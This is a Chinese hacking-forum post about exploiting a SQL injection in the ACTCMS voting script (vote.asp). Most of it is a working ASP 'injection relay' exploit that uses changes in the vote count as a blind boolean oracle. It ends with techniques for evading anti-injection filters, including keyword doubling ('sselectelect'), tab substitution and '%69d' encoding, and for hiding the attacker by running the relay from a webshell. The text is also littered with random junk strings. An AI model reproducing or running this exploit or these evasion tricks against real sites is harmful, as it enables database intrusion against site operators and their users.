找回密码
 立即注册
查看: 2879|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
7 ~3 Q6 g$ {2 [7 p
看到ninty大牛的blog的一篇文章
8 f' m8 c1 w" p链接标记[url]http://www.forjj.com/?action=show&id=80[/url]: j3 ]) D: k/ T6 X) l( {8 o! y6 E
关于actcms漏洞的利用  by 3x qq:381862589, o8 a. p( E7 d
转载请注明以上- c; O/ f& \2 ^
漏洞文件:% F9 T6 @7 Z4 s9 S: D3 a
/plus/vote/vote.asp
) b* ?- J8 D# Z7 [2 W代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    9 m. p' @; \3 P

: A: f2 \/ I5 \% t; p4 p% l2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
2 y1 W! I$ c& e0 B2 t; r# N, ^- I! Z
* A! ]" u$ B8 N$ y3    response.end   
: r$ D, w; H+ \* a7 x- M
0 `/ ?( w5 u' o' {8 e4 ]8 L  G4    end if    . W. y0 e6 C+ d' T; S3 [

" w9 b) w& B+ M5    for i=1 to request("voted").count    0 X( r4 B0 @4 `: D9 J8 I
9 y7 W( p+ U5 a3 z- f& y
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
. Q6 @: P" V, b- y
5 J0 s9 Q. `, q2 S7    next   
. b4 ^% S) W; D  H+ i# ~# q" |8 ~# I. @% s  D2 k, q
8....   
$ y5 @' I2 l" @0 B
0 e* Z# a7 ~3 F  b+ E9response.Redirect "index.asp?id="&id&""   
3 c, g- _0 J" Z4 q6 ]投票结束回跳转回index.asp这个投票结果页面
) O# `% Q3 x9 j5 T$ [4 H如果投票成功票数加1
: \7 \, b% r! H0 C! l' G* G1 Y            失败票数不变
) y# y5 E. l1 I1 p5 y; e" b  q; Q如图:: Y$ u0 q3 g  E, A" O: `
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)# g5 b- F' i" ^* D4 D0 A
1 b( }  w7 m' Y3 C- g
2009-12-27 13:20
1 u/ Z( g/ o& Y+ ^; U8 e
* R, X! v2 r' E4 `' t  Z7 }+ T( ]利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了4 A) e9 P& q  O! F6 R+ B' P/ J
0 J2 H' j& A1 u$ g+ A2 D
本帖隐藏的内容需要回复才可以浏览
' l& e9 j. C. p, U2 T& A$ X- P我们用注入中转来实现这个注入具体代码如下:9 G8 h& s3 \" \
先用寂寞的刺猬大牛的注入中转生成jmget.asp4 V, j$ a2 b4 d( K3 F7 f
注入地址:http://localhost/actcms/plus/vote/vote.asp; _$ {1 _' k- U5 `% i. S1 d1 I
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
% N5 I9 ]$ E& |$ \. I) Z, y, U+ }/ S. M9 j
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
3 ]" R( V+ M6 [: O$ V
3 C( `; O; F0 B+ _02JmdcwName=request("jmdcw")
2 g1 n2 k' O& _) ]* m. N8 @& u8 O
6 h  G" {# {* X03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] 1 H5 k$ ~1 t6 F4 B; x% s8 b- N
. ?+ A& \5 x3 r, h$ R/ z4 }; K8 D
04JmStr="id=1&voted=-1 or 1="&JmdcwName
  v; c+ c: y1 r8 g" S8 P
$ D, z! K- j9 E05JmStr=URLEncoding(JmStr) 8 h  M$ i" r. |4 D

8 {! h3 @3 S8 ~( A0 i06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"% U1 q# m: w# C- Y

! m' g1 Z9 J1 f. I+ c07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
8 y! @8 k* Z7 S0 W! ^$ x# w& L
  q7 @6 y, m. S( Y08testurl=testurl & "?" & JmStr / @$ \& o* B! g
% U' [/ ^/ [( ^
09JMUrl=JMUrl & "?" & JmStr 9 O) |. k" v( o, S
4 }8 b: r$ b5 G$ q0 x5 S( }$ `; @( N
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
$ g0 c9 h( x8 F) j8 Z. w* u8 E
0 e, V3 X* Q# l0 s9 t7 p11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"9 q+ g3 Q) B3 l7 P, v

8 T6 G1 g% n$ f( |9 n% |12JmCok=replace(JmCok,chr(32),"%20")  
* `, d" x) C% P" t: ~6 i2 }" v0 k2 N9 a7 u( h% o+ m- G
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
! x) `( E/ Z: R
! g, h2 h; h/ v0 ]; C, [* _14  
( Y8 p( \  N6 i- Q
7 ]; Y; `6 b3 M7 _/ a9 G0 b15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 7 |5 a6 g. b" i1 Y$ R

* T2 v  L( b! {/ T16  
7 `2 w# @7 [& y/ |& Y# Q8 r' _4 V8 `7 @. Y6 }
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 + @$ B4 r, \: \4 Z9 Z! L% v

7 U( s! ~" V4 l7 A  J( X18response.write test1&""&test2&""
+ I+ \" Y$ M1 v/ a( K+ o: Y# @% b
' t) H+ P7 x' \# h0 [+ M19  % a8 `' ?4 {$ }& m1 M
7 ]) J" p: A& i9 d# X0 u1 I
20if test1=test2 then '如前后记录相等,表示失败
9 J# E: E8 L, z6 L2 i$ X/ ^% I, i2 z& v6 J' u1 R  f
21  response.write "failed") ?* H- K9 k" s; E. v$ ?. c

. M( l- ^. m; k0 |5 L5 j/ A6 R22else
+ r/ c! m" X% R% z$ @: ?
: ~( ?5 c' M& _. j23  response.write "succeed"' A2 j1 ]3 m7 D- o8 Z' k, Z

" X- f; Z: P; ]& L24end if  8 z9 Y; i* C7 Z, e) G' p. j7 U

; ?5 e# O: R2 \25  
: Q# e: F2 k3 [& |* R, p/ E% Y* ]3 J
26response.write "by 3x"
$ W( o$ w1 E8 V5 F6 |
' g/ ]6 e! X! q& n27  3 V5 T* r; `$ e% a) D0 S
; W% C3 ]; Z6 e( H+ b) G
28  
" f8 }3 c; |% A- y% \: v! K5 V4 x5 \, c
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
& V5 e' ?; D) T$ C! K: _- Y: `# c4 D7 m1 }' ]$ t
30Dim Http . {: T4 g. G% o+ i

6 b6 o' S* B+ [( b% l31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
4 v* u- Q4 S1 K# ^! @% I7 h1 |! L8 u7 m5 W2 K% C4 }/ C
32With Http + \6 q, e; |. b6 t% Q$ q7 l. q: S! \1 Q
/ J3 f, B% E1 Y7 m+ ?8 K
33  - _" r8 b" F/ h* h5 t

0 K+ R$ O, l/ l0 ?3 a34.Open "GET",PostUrl,False
1 F. ^# U+ U  {' S# \' p$ Q& H1 h. e2 [% d+ e: d4 ~. g
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"; f6 |) y( `7 u. B5 ~; g
& X8 r% Q2 Y, v3 `8 c. u6 M
36.SetRequestHeader "Referer",PostRef
- \" M; h! m' n$ A8 s" V
! [  h: c+ i' a6 M2 O$ I3 _1 H37.SetRequestHeader "Cookie",PostCok 4 z0 N1 C+ m# p

" \( C+ O3 b! I5 y+ x9 P38.Send () % B: f0 |5 }- \9 Q3 N9 p+ l9 V

  I; L, g1 |/ H; p2 C  K39PostData = .ResponseBody
8 [1 S* G' b2 G
/ P3 a, J3 B# _8 J40End With
: R+ @: O  Y, y
8 |4 T/ r( g7 Z' E: ]41Set Http = Nothing0 f6 G, c8 g( [" Z; Z3 V7 ]: h
3 B) Q- C2 `& p6 V( Y5 v/ l
42PostData =bytes2BSTR(PostData) - C& d6 V: v$ X: u
& r& B- c2 e* |0 s3 ~
43End Function
3 v8 p9 M$ {' `( ~6 S* d' O% G, m0 V/ r5 G+ F( w3 K
44  
7 D1 s4 W; c! i* c# ?/ G% Y$ s, f* n/ F* g3 R: |+ _0 k
45  / R. \4 @: g" \9 |* m) w- E
+ O: ^5 y+ x- C9 y# n9 l
46Function bytes2BSTR(vIn) ; E' F) l) ^" T# A" W& o

: J9 d( {& n2 _2 Y47Dim strReturn 3 c9 E9 {7 n, O2 M- T

% M' ~( t# X, z! H48Dim I, ThisCharCode, NextCharCode ( l2 X! }1 G9 F  _' R
- G1 i4 ]8 l5 \) x" N& r
49strReturn = ""
6 A% y* Z: M. u% V3 ?8 L; u8 ?9 a0 s5 |3 Z
50For I = 1 To LenB(vIn) 3 s; M' D9 @- W

) Z, N$ B- p# Q51ThisCharCode = AscB(MidB(vIn, I, 1))
) ^9 z0 ^0 K5 @- O; ]% f+ h& J# [) C# z: J9 p
52If ThisCharCode < &H80 Then
9 _4 I5 ?3 ^$ Y* H, r
& E$ n* N! w+ e" q/ h5 ^53strReturn = strReturn & Chr(ThisCharCode)
$ d+ @2 Q1 [) t3 L9 Q; Z& E$ O! R9 l" d+ N6 [" l: V' P0 V2 `, Z- a
54Else
3 D  N* R2 f1 t4 _" h1 w: H, Y, \' _8 y6 Z8 g% W8 W. E
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
/ |' G& d! T6 M. O3 x1 v) A4 L) w/ h! x) \
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
4 f9 D  |# R" s9 r* ?- I9 s: ^3 H3 U8 l
57I = I + 1 ! P9 m% `$ e8 `0 V

3 b$ A' t9 g# s+ t0 }3 p, |58End If
% g9 ~: k. b2 U" c/ c# q! T: c6 N* {! b! q: E( t3 D3 C
59Next
# h6 u5 x! r* s1 Q& B* T
  Q3 F2 F$ _) F# K) g# z8 V60bytes2BSTR = strReturn 1 [- C3 H0 k% o* \4 J
4 D% e. \& }, t5 J0 ^# U  F
61End Function
: b- D; X+ y3 k; O3 }5 {) ?
6 H, L- ]: R3 n2 \) ?62  1 A: Q) G1 {" x
, x0 |5 ^8 n) R* A4 ]# G
63Function URLEncoding(vstrin)  - t' P7 d1 W: a' }7 a2 B
8 r" l  I, _+ O" ?6 E
64strReturn=""
' m1 I& g5 ^  |7 w2 B
' a# G6 i- H* N65Dim i , N- r, Z+ U' D$ [6 v) ^) t
! X$ A' Z/ `' }/ x* u* r
66For i=1 To Len(vstrin) # O5 r. R$ s( N2 o' v- ^2 Y

: ^* N3 j  o* p3 k67ThisChr=Mid(vstrin,i,1) 1 Y6 h- M* |( B9 c, O

" C( q/ d; k$ K1 z) v( |' h68if Abs(Asc(ThisChr))< &HFF Then- o$ O  X& g. k

3 G$ E! p5 t1 ?, i3 s( P1 w69strReturn=strReturn & ThisChr 8 _% {' I! H8 j9 ^

: G! E% w* w5 l. Y- F5 o70Else
) a6 q, x. }6 B0 u- ^3 f4 E. Z9 @' `' |8 s, x
71InnerCode=Asc(ThisChr)
" s+ C) \5 o, }" S
! G8 X5 J. \; l9 h7 o" \72If InnerCode<0 Then. X- m& _6 e! q. P# V/ K0 N/ ~
' _; W: {9 D3 r* d$ Y0 V
73InnerCode=InnerCode + &H10000 8 L" ^/ l2 j9 x/ h' }, K

- x( k# ?# r% J+ N% ?$ ]74End If  i' m: b) g- v

" }2 E/ h3 n, h- b0 V75Hight1=(InnerCode And &HFF00) \&HFF / }- q4 I. a1 b2 {, f! T

1 a1 _" Q+ n- A76Low1=InnerCode And &HFF 3 {% M0 }' c0 i/ s) z
, J% D; ]2 ]4 v5 g& e/ ^" Q% e
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) $ O$ z# f" m) X9 x- x+ J6 W7 L

- Y2 Z- ]* I  c# M5 t8 Q+ q78End if
; D' [& w( b. i, r9 A& C+ u$ ?7 O  h! A9 \& a$ E
79Next0 N& x$ `& V9 K) v8 u. H; k
, G9 j; z' A9 v+ O( L% z
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
6 E" r( |6 K1 S, T& T/ ~) n/ k+ \9 {0 w5 f* P: }
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
5 M& U) D# W5 T/ p8 b# c+ D- e( k8 y+ C4 A
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
1 h9 Y! t: K% H% O9 R+ k3 G% i, `) L& i+ Z  e8 J
83URLEncoding=strReturn 1 E$ w8 S5 v1 j

1 d- B! z/ `& n1 T+ I' B- m84End Function
( C- z+ Q7 {: }: K  u$ E( X2 C' H2 ~
85  
5 X; Q& ?5 u! @+ ~4 \; M  {
  g% b' H3 V- f' {6 v+ M86function getSt(body) - t' V2 ]! t. m. T: T
4 M# K; O  B5 I$ j, F3 i! X
87  startpot=instr(body,"投票人数:")+len("投票人数:") 3 B. L; Y" z* b' k& t. L8 F
& \* u* D0 E8 K9 g* h! V+ s
88  endpot=instr(startpot,body," ") 9 g9 f/ f; K: T
6 }. K9 m7 F9 Y. j
89  getSt=mid(body,startpot,endpot-startpot)
- e* E: F# O) B* j. j% [% |3 U" K  C, C' o4 V" ?
90end function
' Z# [! V# G/ y2 S6 v5 |
6 C, F/ [& ?* C4 {2 H91%>+ Q: Y6 u: B5 a. J) B6 G
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了! D0 ?" w3 s9 r9 H9 X8 `: E
测试下效果:
/ ^% R9 n/ ?7 e5 L3 ]/ t; e* U/ t4 [投票成功:% N, q, U# S- F2 r6 z& J# V
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
6 u. `& J  L' o0 u5 S8 y4 S9 u& x  `+ i
2009-12-27 13:294 u# ?. N) z1 a" {" g4 V" P% }
投票失败
* X7 h+ C5 n2 W0 thttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
  W* c" F+ ^$ U6 u7 j5 s3 N
0 x6 {9 q  I0 k, Z+ ^8 [# r% ^' x, z2009-12-27 13:29  m& n2 l+ i" l6 Q  f0 s
-------------------------------------------------------------------------------
1 ~! C7 [: N$ g再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
6 r0 w- F- |. }; `! G8 M很抱歉。。。只能用单线程工具去注入。。。。。: S2 s5 ]2 o! M
所以失败。。。不好意思。。。, v# i5 h) z6 I4 ]8 _" b
-------------------------------------------------------------------------------) a* Q7 a2 F! ]1 k; `& _

7 D8 i; G4 `3 O) u! x! _* t( C注入中转的一些其他应用% w6 c8 C/ g4 {
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
7 W2 a! s& f  v8 b8 l- Q1 D1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
$ t. B; _9 e' X  \2 _, C2.post注入转成get型的注入,方便我们使用工具来跑
# ?& h! l% k* s5 o5 ~8 b' l( t# N3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
( J& p2 e0 T7 d. z: _4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过4 t! g, q, S2 [8 O- J3 f  q+ h
* f6 a% Q& ]4 ]# j: B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表